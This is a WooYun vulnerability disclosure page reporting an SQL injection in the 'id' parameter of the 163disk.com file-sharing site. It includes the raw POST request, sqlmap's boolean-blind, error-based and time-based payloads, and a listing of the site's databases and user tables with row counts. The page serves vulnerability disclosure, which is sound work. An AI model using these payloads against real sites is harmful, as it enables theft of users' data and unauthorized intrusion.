当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154954

漏洞标题：163网盘主站SQL注入一枚涉及53W用户

相关厂商：163网盘

漏洞作者： Forever80s

提交时间：2015-11-23 12:15

修复时间：2015-11-28 12:16

公开时间：2015-11-28 12:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-23： 细节已通知厂商并且等待厂商处理中
2015-11-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

参数id 报错注入，可被脱裤，dz的站getshell，影响200w用户信息

POST /?ac=file_ajax&ct=count_form HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-us,en;q=0.8,en-us,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.163disk.com
Referer: http://www.163disk.com/fileview_1742151.html
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
X-Forwarded-For: 127.0.0.1
Host: www.163disk.com
Content-Length: 18
Accept-Encoding: gzip, deflate
id=1742151&count=0
sqlmap identified the following injection point(s) with a total of 145 HTTP(s) requests:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1742151 AND 9589=9589&count=0
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=1742151 AND (SELECT 7468 FROM(SELECT COUNT(*),CONCAT(0x716b716a71,(SELECT (ELT(7468=7468,1))),0x71767671
71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&count=0
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=1742151 AND (SELECT * FROM (SELECT(SLEEP(5)))QeZS)&count=0
---
available databases [4]:
[*] 163diskcom
[*] information_schema
[*] mysql
[*] performance_schema
Database: 163diskcom
+----------------------+---------+
| Table                | Entries |
+----------------------+---------+
| disk_user_filecount  | 2096739 |
| disk_user_filebody   | 2096678 |
| disk_user_file       | 2096642 |
| disk_user_disk       | 531309  |
| disk_user_info       | 531278  |
| disk_user_login      | 165110  |
| disk_user_folder     | 74519   |
| disk_user_msg        | 74364   |
| disk_user_feedback   | 16865   |
| disk_all_adminlog    | 2943    |
| disk_all_badword     | 1246    |
| disk_all_album       | 142     |
| `disk_all_album.bak` | 141     |
| disk_all_links       | 95      |
| disk_all_notice      | 14      |
| disk_all_server      | 13      |
| disk_all_hotso       | 8       |
| disk_all_list        | 8       |
| disk_all_smtp        | 6       |
| disk_all_admin       | 3       |
| disk_all_config      | 1       |
+----------------------+---------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 Forever80s@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-28 12:16

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评价

  1. 2015-11-23 12:16 | myhalo ( 普通白帽子 | Rank:331 漏洞数:59 | T-Safe呼朋伴友。)

    我擦 我的洞。。。